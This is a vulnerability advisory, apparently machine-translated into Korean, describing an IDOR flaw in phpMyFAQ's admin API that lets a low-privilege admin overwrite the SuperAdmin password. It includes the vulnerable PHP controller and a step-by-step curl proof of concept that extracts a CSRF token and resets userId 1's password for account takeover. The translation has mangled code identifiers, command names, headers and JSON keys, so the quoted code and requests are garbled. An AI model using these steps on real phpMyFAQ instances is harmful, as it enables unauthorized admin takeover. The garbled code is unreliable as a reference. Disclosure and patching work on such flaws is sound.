phpMyFAQ: IDOR 계정 탈취
phpMyFAQ Admin API의 안전하지 않은 직접 개체 참조(IDOR) 취약점으로 인해 인증된 관리자는 인증 확인 없이 SuperAdmin 계정(userId=1)을 포함한 모든 사용자 계정의 비밀번호를 변경할 수 있습니다. 권한이 낮은 관리자 계정을 가진 공격자는 API 요청 본문에서 대상 사용자의 ID를 변경하여 전체 SuperAdmin 제어 권한으로 권한을 상승시킬 수 있습니다.
파일: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/UserController.php 회선: 232-271 232행의 overwritePassword() 메서드는 /admin/api/user/overwrite-password에 대한 PUT 요청을 허용합니다. #[Route(경로: 'user/overwrite-password', 이름: 'admin.api.user.overwrite-password', 방법: ['PUT'])] ``php 공용 함수 overwritePassword($request 요청): JsonResponse { $this->userHasUserPermission(); // 사용자에게 USER_EDIT 권한이 있는지만 확인합니다. $currentUser = CurrentUser::getCurrentUser($this->configuration); $data = json_decode($request->getContent()); $userId = 필터::filterVar($data->userId, FILTER_VALIDATE_INT); // 사용자가 제어합니다! $csrfToken = 필터::filterVar($data->csrf, FILTER_SANITIZE_SPECIAL_CHARS); $newPassword = 필터::filterVar($data->newPassword, FILTER_SANITIZE_SPECIAL_CHARS); $retypedPassword = 필터::filterVar($data->passwordRepeat, FILTER_SANITIZE_SPECIAL_CHARS); if (!Token::getInstance($this->session)->verifyToken(page: 'overwrite-password', requestToken: $csrfToken)) { return $this->json(['error' => ...], Response::HTTP_UNAUTHORIZED); } // $userId가 관리자가 관리해야 하는 사용자에 속하는지 확인하지 마세요. // 대상 사용자가 더 낮거나 동일한 권한을 가지고 있는지 확인하지 않습니다. // SuperAdmin(userId=1)을 포함한 모든 사용자의 비밀번호를 덮어쓸 수 있습니다. $currentUser->getUserById((int) $userId,allowBlockedUsers: true); $authSource->getEncryptionContainer($currentUser->getAuthData(key: 'encType')); if (hash_equals($newPassword, $retypedPassword)) { if (!$currentUser->changePassword($newPassword)) { return $this->json(['error' => ...], Response::HTTP_BAD_REQUEST); } $this->adminLog->log($this->currentUser, AdminLogType::USER_CHANGE_PASSWORD->value . ':' . $userId); return $this->json(['success' => ...], Response::HTTP_OK); } }
### 근본 원인:
1. 요청한 관리자에게 대상 사용자의 비밀번호를 수정할 수 있는 권한이 있는지 확인하지 않음
2. 대상 사용자가 동일하거나 낮은 권한 수준을 가지고 있는지 확인하지 않습니다.
3. userId는 인증 컨텍스트 없이 요청 본문에서 직접 가져옵니다.
4. 권한 상승 비밀번호 변경에 대한 다단계 확인이 없습니다.
### PoC
전제조건: USER_EDIT 권한으로 인증된 관리 세션
1단계 - 관리자 세션 받기:
권한이 낮은 관리자로 로그인하십시오(또는 CVE-2026-XXXX-1을 이용하여 먼저 사용자를 인계받으십시오).
2단계 - CSRF 토큰 추출:
CSRF 토큰은 관리 페이지에 포함되어 있습니다.
``배쉬
컬 -sL -b "PHPSESSID=admin_session" http://target/admin/index.php | grep -oP 'pmf-csrf-token.*?value="\K[^"]+'
3단계 - 슈퍼관리자 비밀번호 변경:
``배쉬
컬 -X PUT -H "콘텐츠 유형: 애플리케이션/json"
-b "PHPSESSID=admin_session"
-d '{
"사용자 ID": 1,
"csrf": "admin_csrf_token_value",
"newPassword": "NewSuperAdminP@ss123!",
"passwordRepeat": "NewSuperAdminP@ss123!"
}'
http://target/admin/api/user/overwrite-password
응답: {"성공":"비밀번호가 성공적으로 변경되었습니다."}
4단계 - 계정 탈취:
이제 공격자는 SuperAdmin 자격 증명과 phpMyFAQ에 대한 모든 권한을 갖게 되었습니다.
### 영향을 받는 사람:
- 모든 관리자가 SuperAdmin 액세스 권한을 가질 수는 없지만 여러 관리자가 있는 조직
- 권한 분리가 구성된 모든 phpMyFAQ 인스턴스
- 사용자가 자신의 계정만 관리해야 하는 다중 테넌트 환경
#### 공격 복잡성: 낮음 - USER_EDIT 권한이 있는 유효한 관리 세션만 필요
#### 권한 상승: 모든 관리자는 할당된 권한에 관계없이 슈퍼관리자가 될 수 있습니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 88.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 88.00 |
VPI 공식 vpi-v1 기준